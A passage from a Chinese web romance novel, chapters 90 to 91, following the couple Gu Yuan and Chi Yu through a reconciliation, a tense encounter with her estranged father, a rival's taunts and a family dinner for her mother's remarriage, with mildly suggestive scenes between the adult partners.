下午大家就回了，一到家，顾鸢就瘫在沙发上不想动，布丁围着她转了两圈，爬到沙发上窝在她怀里。
迟瑜进来看到了，把布丁拨开，抱起顾鸢往楼上走。
布丁喵叫了声，眼神幽怨。
顾鸢这一觉醒来到了晚上，迟瑜推开门进来，在床边蹲下，“晚上出个门？”
顾鸢靠在床头，眨了眨眼，“什么事？”
“凌熙诺，她也想见你。”
90. ……
晚上八点，迟瑜和顾鸢走进咖啡厅。
凌熙诺选了一个角落的位置，看到两人之后抬了抬手。
“好久不见。”凌熙诺看着顾鸢，心中万千感概。
这是顾鸢回国之后第一次见凌熙诺，她比以前更漂亮了，只是眉宇间带着淡淡愁绪，多了几分惹人怜爱的感觉。
“好久不见。”
凌熙诺放在桌面上的手指微蜷，看向迟瑜，“我想和她单独说会儿话，还要请你离开一会儿。”
迟瑜看向顾鸢，顾鸢眨了下眼，“你去对面帮我买个草莓蛋糕吧，等会儿时间还早我们就去逛逛。”
“好。”迟瑜拿上手机往外走，透过玻璃指了指手机。
顾鸢微笑。
“你们还是走到一起了。”凌熙诺眼底闪过几分微不可察的羡慕，“你对你好吗？”
“你找我来就是为了问这个？”顾鸢拂了拂脸侧的头发，“你不是看到了。”
凌熙诺仔细盯着顾鸢的脸，上次两人见面，还是在毕业聚会上，这么多年过去，她变了，变得多了几分温情，眉眼间都是幸福的笑意，身上都围绕着淡淡的光晕。
凌熙诺敛下双眸，拿起咖啡抿了一口，唇齿间满是苦涩，“顾鸢，这么多年了，我要向你说一声抱歉。”
“对不起。”
顾鸢稍怔。
须臾，顾鸢才开口，“不重要了。”顿了下，顾鸢淡淡笑了，“迟来的道歉没有任何意义，更何况这话并不应该是你来说。”
凌熙诺张了张嘴，却什么也说不出来。
顾鸢站起来，忽而想起什么，又回头对她说：“凌熙诺，都往前走吧，别再计较以前的事了，没有意思。”
迟瑜提着蛋糕在店外等顾鸢，见她出来，忙上前拉住她的手，“说好了？”
“嗯。”顾鸢点了点头，“时间还早，我们走走。”
迟瑜弯腰在她唇瓣上快速亲了下，笑，“好，走走。”
两人像是最平常不过的情侣，手牵着手走在马路上，路灯光线昏暗，从头顶落下形成淡淡光圈，萦绕在两人周围。
两道影子紧挨着彼此，依偎在对方身上。
……
回到家已经快到十点了，顾鸢先去浴室洗澡，迟瑜拿着手机看蔚斯哲拍的照片和视频，唇角的笑意压都压不住。
顾鸢洗完了才发现忘带换洗衣物，懊恼的拍了拍绯红的脸颊。
怎么办啊？
要是叫迟瑜拿的话，也不知道他在不在房间里。
要是不叫的话，她就只能围着浴巾出去了。
顾鸢纠结了一分钟，然后走到门口，试探着叫人，“迟瑜？”
听到声音的迟瑜放下手机往浴室走，“怎么了？”
顾鸢说服自己没什么，反正该做了都做了，拿个衣服而已。
没有听到回答，迟瑜敲了下浴室的门，“顾鸢，说句话。”
顾鸢咬了下唇，破罐子破摔，“我没拿换洗的衣服。”
迟瑜愣了几秒，“等会儿。”
顾鸢的衣服很好找，迟瑜拿了件睡衣就要走，突然想到什么，蹲下来打开下面的柜子，随便拿了其中一件卷在睡衣里，迟瑜起来的时候耳垂已经红了。
再次走到浴室外，迟瑜敲了下门。
咔哒一声，门被打开，从里面伸出一只手，迟瑜把衣服放到手心，走到旁边靠墙站着。
顾鸢出来的时候吓了一跳，“你怎么站在这儿？”
迟瑜抬起眼皮，眸色幽深，顾鸢心底一颤，语气开始慌乱，“我好了，你去洗吧。”
迟瑜盯着顾鸢的背影几秒钟，推开浴室的门往里走。
迟瑜洗的很快，顾鸢头发都没吹好他就出来了，迟瑜自然地从顾鸢手里结果吹风机，手指轻轻梳理。
大约是下午睡了一觉的原因，顾鸢这会儿一点儿也不困，反倒是有几分亢奋。
吹完头发，顾鸢正要起身，迟瑜扣着她的后脑勺，吻便落了下来。
不知不觉间，顾鸢的后背贴到床上，才穿好没多久的衣服已经不知所踪，顾鸢的手指插在迟瑜的短发里，细碎的声音从喉间溢出。
“不舒服？”
迟瑜眼尾泛红，指腹按在顾鸢唇角，另一只手扶着她坐起来，“换一下？”
顾鸢意识渐回，咬住他肩上。
迟瑜嗤地笑了出来，“这么爽？”
“你闭嘴。”顾鸢涨红了脸，羞赧地很想堵住他的嘴巴，“你话好多？”
迟瑜笑得荡漾，“我冤枉，这话也叫多，我还没有给你讲故事呢？”
顾鸢怔了几秒，“什么故事？”
“宝宝，这个时候讲故事，是要收利息的。”迟瑜说罢轻轻咬了下顾鸢的耳垂，在她耳边低语。
顾鸢：“……你怎么这么……”
迟瑜笑出了声，“你这手也没吃亏，不是早就对我图谋不轨了？”
在顾鸢气恼前迟瑜又说了句，“忙完了看看星座呢宝宝，我是3月1号的。”
顾鸢高中有段时间研究星座。
迟瑜是双鱼座，2月的双鱼纯爱，3月的双鱼是、纯色。
顾鸢看着眼前这张英挺俊美的脸，忽然觉得他也挺能忍的，明明五年前有那么多机会，竟然什么也没做。
似乎是看穿了她的想法，迟瑜吻着她用力些力气，顾鸢眉毛蹙起，听到他说：“我还没那么畜生。”
顾鸢笑了出来，表扬他，“那你真棒。”
最后这个故事也没讲成，迟瑜又是色.诱又是勾.引，顾鸢很快就把这事抛到脑后。
-
第二天顾鸢的衣服都是迟瑜帮她穿好的，闭着眼睛吃了早餐，去公司的路上顾鸢才勉强睁开眼睛。
“我觉得我们还是分开睡吧。”顾鸢由衷建议，“等周五和周六你再过来。”
迟瑜：“我错了，……再商量商量。”
顾鸢撩起眼皮，看着他这副样子心里就来气。
怎么就、用不完呢？
……
晚上下班，依旧是迟瑜过来接顾鸢。
这会儿公司的人都往出走，看到有个大帅哥站在大厅等人，而且看着还是有点眼熟的帅哥，大家纷纷驻足观看，猜是等谁的。
顾鸢收拾完下楼，看到这么人愣了一下，“怎么都不走，外面下雨了？”
“没有没有。”
“鞋带开了。”
“裤链没拉。”
……
顾鸢的视线落到不远处的男人身上，唇角勾起明显的弧度，快步朝他走过去，“等多久了？”
“几分钟。”迟瑜把花递给她，而后自然地接过她的包，俯身在她额头轻轻落下一吻，“走了？”
顾鸢笑着挽住他的胳膊，“走吧。”
吃瓜群众：哦~，宣示主权来的。
顾鸢自然看出来他的小心思，却也没有揭穿，低头闻了闻娇艳欲滴的玫瑰，“怎么突然送我花？”
“不是你要我送的？”迟瑜理所当然，“都给我要破皮了，自然要买。”
顾鸢：“……你能不能好好说话。”
迟瑜打开车门，顾鸢坐上去。
等迟瑜上了车，又说：“你再仔细想想呢。”
“你是要吻出一朵花来吗？”
“花？明天给你送。”
……
顾鸢沉默良久，忽然余光瞥到车窗外的一家三口。
迟瑜安抚地拍了拍她的手，“一年前不知道什么原因，你爸爸调回了宁宜大学。”
顾鸢眸色平淡，“还以为再也见不到他了。”说完，顾鸢察觉到话里的歧义，“只希望以后没有交集才好。”
可有的时候，往往是怕什么来什么。
这天周末，顾鸢和迟瑜带着布丁去玩，就这么凑巧的迎面撞上。
顾绍辉老了许多，两鬓有明显的白发，凌紫薰倒是依旧年轻，看的出来保养的很好。
顾绍辉怔愣了好一会儿，才嗫喏着开口，“浅浅，你回来了，怎么也没有联系爸爸？”
顾鸢捏紧酸麻的手心，克制嗓音的起伏，“公司太忙了，也不想打扰你们。”
“这样啊。”顾绍辉低头对身边的男
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孩说：“熙然，这是鸢姐姐，爸爸给你看过照片，还记得吗？”
顾熙然的长相随了凌紫薰，眼睛又圆又大，皮肤也白，说话的声音都是脆脆的，“鸢姐姐。”
顾鸢再讨厌顾绍辉之前的所作所为，对一个孩子也冷不下脸。
迟瑜捏了捏她的手指，顾鸢轻轻嗯了声。
凌紫薰牵着顾熙然，朝顾绍辉道：“我带熙然去前面玩，你们聊。”
没有小孩，顾鸢脸上的笑意也尽数收敛起来。
顾绍辉看了迟瑜，问：“浅浅，这是你男朋友吗？”
顾鸢淡淡嗯了声。
迟瑜轻轻颔首，“顾叔叔，我叫迟瑜。”
“迟瑜。”顾绍辉重复了一遍名字，忽地提高了音量，“我想起来了，浅浅跟我说过你。”
“要是没什么事，我们先过去了。”顾鸢拉着迟瑜要往另一边走，顾绍辉叫住她。
“浅浅，结婚的时候，记得跟爸爸说一声。”
顾鸢没说话，拉着迟瑜走远，布丁迈着小短腿跑的飞快。
见过顾绍辉后，顾鸢一直心情不佳，布丁围着她转，变着法的哄她。
迟瑜揽着她的肩膀，手指顺着长发，“我帮你按按？”
“嗯？”顾鸢眨眼，“什么？”
迟瑜双手按在肩上的穴位上，手下的力道控制的正好，“想不通就不要想了，顺其自然就好。”
顾鸢靠着他身上，闭上眼睛，布丁立马跑到顾鸢怀里。
“没事，就是上了一周班，累。”顾鸢找了个舒服的姿势躺下，“以前我还不理解妈妈，总觉得她说话不算说，说好了要陪我可是一直失约，现在明白了，是真忙。”
迟瑜将她脸颊的碎发拂开，嗓音温和带着安抚，“小的时候都会不理解父母，等长大了总想比他们做得更好，来证明他们就是错了。”
迟瑜说着把布丁拎起来放到旁边，布丁怒叫了好几声。
顾鸢睁开眼睛侧身看着他俩，“怎么了，你又欺负布丁。”
布丁：“喵~”委屈
迟瑜轻嗤一声，“装。”
顾鸢无奈，“你们俩以前也是这样吗，互相看对方不顺眼。”
以前，父子俩一个没老婆一个没妈妈，相互取暖的时候还是能过的。
就是顾鸢回来之后布丁老爱粘着顾鸢，迟瑜又觉得布丁太粘人，总是和布丁作对，所以是越看对方越看不顺眼。
父子俩冷哼一声，谁也不看谁。
顾鸢：“……”
……
回到家，顾鸢和迟瑜在门后亲的难舍难分，布丁一边挠门，一边叫个不停。
顾鸢喘着气，正要说话，被迟瑜拦腰抱起，“别理它，惯的。”
顾鸢很想说，谁惯的？
反正她没惯。
混沌间，顾鸢突然想起什么，按住迟瑜的脑袋，“明天要去接妈妈，你注意点。”
“什么？”迟瑜愣住，手下动作也停了下来。
顾鸢重复，“明天上午十点，我妈妈和舅舅妈妈就回来了，我们要去机场接人。”
迟瑜起身，把顾鸢的衣服穿好，低头吻了吻顾鸢，“宝宝你先睡，我去一下书房。”
“啊？”顾鸢反应过来的时候房间已经没人了。
怎么还能这样？
顾鸢半夜被渴醒，伸手摸了摸床边，没人。
顾鸢睁开眼睛，打开壁灯，回神了几秒，跻上拖鞋往出走。
走到迟瑜的书房门口，顾鸢看到里面的等还亮着。
顾鸢推开门进去，迟瑜抬起脑袋。
“你怎么还不睡。”顾鸢走过去顺势坐到他怀里，“不困吗？”
迟瑜揉了揉她的脑袋，“不困，怎么出来了。”
顾鸢描绘着他的眉眼，指腹沿着眼尾，划过脸颊，在突起的喉结处轻轻按了按，继续往下，……
顾鸢凑到他耳畔，低低说道：“睡不着我可以帮你。”
迟瑜按住她作乱的手，呼吸粗重，“谁教你的？”
顾鸢眨眼，模样无辜，“不是你教的，宝宝~”
91. 男狐狸
迟瑜紧张了半晚上没睡着，结果第二天两人准备出发的时候却被告知姜之遥早就回了家。
周五晚上下班顾鸢回了家，姜女士自从手术后没有再管过公司的事，这几年慢慢都由顾鸢接手。
吃完饭，顾鸢陪姜女士在客厅说话。
“浅浅，工作还适应吗？”
“挺好的妈妈。”顾鸢看姜女士欲言又止，坦然一笑，“有什么事您就说吧。”
姜之遥拉着顾鸢的手，眼眶微红，“浅浅，妈妈想以后跟你墨叔叔搭伙过日子。”
听到姜之遥的话顾鸢并不意外，毕竟这五年墨熠往她妈妈这儿跑的有多勤快她是看在眼里的。
“妈妈，我支持你。”顾鸢轻轻抱住姜之遥的肩膀，“我上班也没什么时间陪您，墨叔叔不是也要退休吗，到时候你们可以一起去旅游，这些年您幸苦了。”
姜之遥红着眼揉了揉顾鸢的脑袋，“好，有机会把你男朋友带过来让妈妈看看。”
顾鸢笑，“好。”
-
另一边，迟瑜去了星期八。
江皓阳笑得很欠，“怎么，顾鸢今晚给你放假了。”
迟瑜乜了他一眼，拿起酒杯和他碰了下，“最近生意怎么样？”
“吼，你还能想起来问生意。”江皓阳啧啧两声，“放心，好着呢。”
忽然想到什么，江皓阳把椅子拉到迟瑜旁边坐下，“你猜我在这儿碰到谁了？”
顾鸢往旁边移开，“碰到谁了？”
江皓阳左右看了眼，小声说：“陈哲明。”
迟瑜摇着酒杯的手顿住，侧眸看向江皓阳。
江皓阳：“怎么了？”
仔细看就会发现，迟瑜的视线落在江皓阳身后，陈哲明朝迟瑜举杯，而后一饮而尽。
江皓阳转身往后看，陈哲明已经拿了酒瓶往这边来了。
江皓阳喃喃自语，“他好像来找你了？”
话落，陈哲明已经坐到对面，“方便吗？聊几句。”
江皓阳的视线在两人身上巡视了一个来回，然后起身离开。
迟瑜神色淡淡，卷起袖子露出手腕的表，尾音微挑，“想说什么？”
陈哲明注意到他的动作，唇边露出讽刺的笑，这块表是顾鸢给迟瑜买的，迟瑜已经在朋友圈连着秀了一周，生怕别人不知道一样。
“你父亲不仅家暴酗酒，还是个赌徒。”陈哲明双手搭在桌面上，捕捉到迟瑜眼底一闪而过的慌乱，继续说道：“这种劣质基因，很大几率都会遗传吧。”
迟瑜紧紧握住杯子，手指的骨节因为用力而泛白，“什么意思？”
陈哲明淡淡一笑，下巴抬起，神态倨傲，“你觉得顾鸢的家人知道你有这样的父亲，他们还会放心把女儿交给你吗？”
迟瑜敛下双眸，轻呵一声，往后靠在椅背上，又慢慢抬起眼睫，“陈哲明，就算浅浅不选我，也不会是你，这五年就是最好的证明。”
陈哲明的脸色瞬间一黑，拉开椅子大步往外走。
陈哲明离开后，迟瑜垂着脑袋，双臂无力的落下。
江皓阳没想到才几分钟的时间迟瑜就变成这样了。
直到酒吧关门打样，江皓阳才扶着迟瑜往外走，“送你去哪儿？”
迟瑜挣开手臂，独自往前走，江皓阳低咒一声跟上他。
最后，迟瑜回了宜佳苑，江皓阳把人抬到床上才离开。
房间里的灯都被关掉，漆黑的四周像是一个巨大的黑洞，不停地把他往里面吸，从四面八方涌来的触手拽着他往下，掉进那无尽深渊。
铃声响起，迟瑜猛地从梦中惊醒，额头布满了冷汗。
“昨天晚上给你发消息怎么没回啊？”顾鸢在院子里给姜女士的花浇水，看到其中一朵开的很好，正打算摘下被姜之遥用眼神制止了。
迟瑜一只手扶着酸胀的额头，一边说话，“抱歉宝宝，昨天晚上喝了点酒，太晚了没看手机。”
顾鸢放下喷壶走到秋千前坐下，一连问了三句话，“吃解酒药了吗？现在感觉怎么样？头疼不疼？”
迟瑜忽然觉得周身被沁入了暖气，热意涌入四肢百骸。
他勾起唇角，“头有点疼。”
半个小时候后，顾鸢打开门进来，迟瑜正瘫在沙发上，身上也没盖东西。
顾鸢倒了杯水，蹲到沙发前探了探他的额头。
腕骨被抓住，迟瑜撩起眼皮，神色还有几分迷离，他微微支起身扑到顾鸢怀里，嗓音低低的，像在撒娇，“宝宝，你来啦。”
顾鸢没好气道：“活该，谁让你不吃药的。”
迟瑜把脑袋埋在迟瑜肩窝蹭了蹭，双手不安分的撩起顾鸢的裙摆。
顾鸢忙按住他的手，“你不难受、唔……”
“宝宝，我好想你。”迟瑜翻身把顾鸢压在下面，唇瓣或轻或重的吸吮舔砥。
这段时间以来，迟瑜对顾鸢的身体已经了解的十分透彻，这方面也是越来越会，不过片刻，顾鸢已经缴械投降。
一次结束后，顾鸢累到不愿意动弹，随意踢了下迟瑜，指了指茶几上的玻璃杯。
迟瑜吻了吻她的唇角，将人扶起来喂她喝了些水。
顾鸢身上出了一层汗，粘腻的十分难受，抓着他的胳膊正要说话，身体腾空，迟瑜抱起她往卧室走。
昏昏沉沉间，顾鸢咬住他的肩膀，隐约听到他说了句，“别离开我。”
她没有说过离开，谁说的。
顾鸢没来及细问，思绪便被带走。
结束后，顾鸢躺在迟瑜怀里沉沉睡去，迟瑜抚着她的头发，眉宇间神色并不明朗，人也有几分低沉。
……
顾鸢再次醒来已经是晚上了，她身上是清爽的，穿着迟瑜的衣服，记忆被拉回，越想脸越热。
男色误人，她怎么就没沉住气，被勾的什么都答应了。
真是、一只男狐狸精。
顾鸢正懊恼呢，手机突然响了，顾鸢拿起来接通。
“浅浅，你明天有时间吗，我们和墨叔叔家里人一起吃个饭。”
顾鸢抿了抿唇，“有的，您把时间地址发我就好。”
姜之遥的嗓音轻快起来，“对了，方便的话把你男朋友也带上吧，正好妈妈看看。”
想起某人的无耻行径，顾鸢想了想说好。
挂了电话，顾鸢掀起被子下床，脚刚沾到地，顾鸢腿一软就跪了下去，好在顾鸢之前爱赤脚走路，房间里都铺了地毯，可顾鸢还是觉得太丢人了。
迟瑜来叫顾鸢吃饭，看到的就是她跪坐在地上的样子。
“宝宝你这是怎么了？”
顾鸢眄他一眼，迟瑜忙过来抱起她，“是我的错，下次一定注意。”
顾鸢
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睨了他一眼，不想和他说话。
迟瑜自知理亏，这顿饭吃的可是一直在献殷勤，就差把饭喂到顾鸢嘴里。
吃饱喝足，顾鸢才觉得自己活了过来。
收拾完，迟瑜任劳任怨的给顾鸢按摩，顾鸢和言酥祁蓉几个人在手机上玩斗地主。
陈哲明的话确实对迟瑜造成了影响，尤其是又做了那个梦，他开始害怕，比五年前顾鸢要走的时候还害怕。
“宝宝，你对我家……”
“又赢了。”顾鸢看着金豆数量增多，高兴的赏了迟瑜一个吻，“你说什么？”
迟瑜扶着顾鸢坐起来，两人面对面坐着。
顾鸢眨了眨眼，“你怎么了？”
迟瑜神色严肃，“你……”
“不好意思，等一下我接个电话。”顾鸢接通姜煦庭的电话，说的正是姜之遥和墨熠的事，怕顾鸢心理不舒服，姜煦庭专门打电话过来安慰她。
顾鸢再三保证她真的很好，没有一点事，姜煦庭才挂断电话。
顾鸢这才想起来，要跟迟瑜说的事，“对了，我妈妈要再婚，明天晚上两家人一起吃个饭，让我把你也叫上，你怎么看？”
迟瑜愣了好几秒，才找回自己的声音，“你是说，见家长。”
顾鸢：“……就是吃个饭，没那么正式吧，你是我男朋友，代表的是我妈妈家的人。”
不知道是哪句话让迟瑜高兴起来，顾鸢被伺候的舒服极了，晚上也没再折腾她。
-
虽然顾鸢说只是吃个饭，但迟瑜还是从早上起来就在准备，穿的衣服也要和顾鸢配成一套。
晚上，顾鸢和迟瑜先去接姜女士，然后再去定好的地方。
第一次正式见到姜女士，迟瑜虽然强装淡定，但还是紧张的脑袋空了一瞬。
“小迟是吧，阿姨看你有点眼熟，以前应该见过你。”
“是见过阿姨，浅浅发烧住院的时候。”
姜之遥点了点头，“对，小迟以后是什么打算？”
这个问题并不好回答，一个不小心就要踩坑。
就连顾鸢也帮迟瑜捏了把冷汗。
迟瑜淡定的说完，顾鸢悄悄去看姜之遥的脸色。
姜之遥看了眼顾鸢，说道：“你们有主意就好，既然浅浅钟意你，那我也没意见，但我希望你永远也不要让她失望。”
“阿姨，我知道任何保证听起来都是苍白无力的，但我想说，您要相信浅浅的眼光，她永远不会输。”
姜之遥看了眼女儿，轻轻笑了，“浅浅比我冷静果决，我自然相信她。”
……
到了包间，迟瑜又是一惊，顾鸢这才想起忘记告诉他姜女士的再婚丈夫是墨熠，而墨熠是墨谦的爸爸。
同学关系瞬间就变了，迟瑜喜提一位大舅哥，辈分又矮一节。
墨谦和迟瑜坐的近，两人说话的声音压得很低。
墨谦：“妹夫，别来无恙。”
迟瑜：“……你早就知道。”
墨谦低笑，“我爸追姜阿姨有些年头了，没想到两人真成了。”
迟瑜斜睨他一眼，“能把你得瑟的表情收一收吗？”
墨谦摇头，“以前你整天拽的二五八万的，谁都不放在眼里，也就在顾鸢面前乖的跟绵羊一样。妹夫，叫一声大舅哥听听呗。”
迟瑜：“……”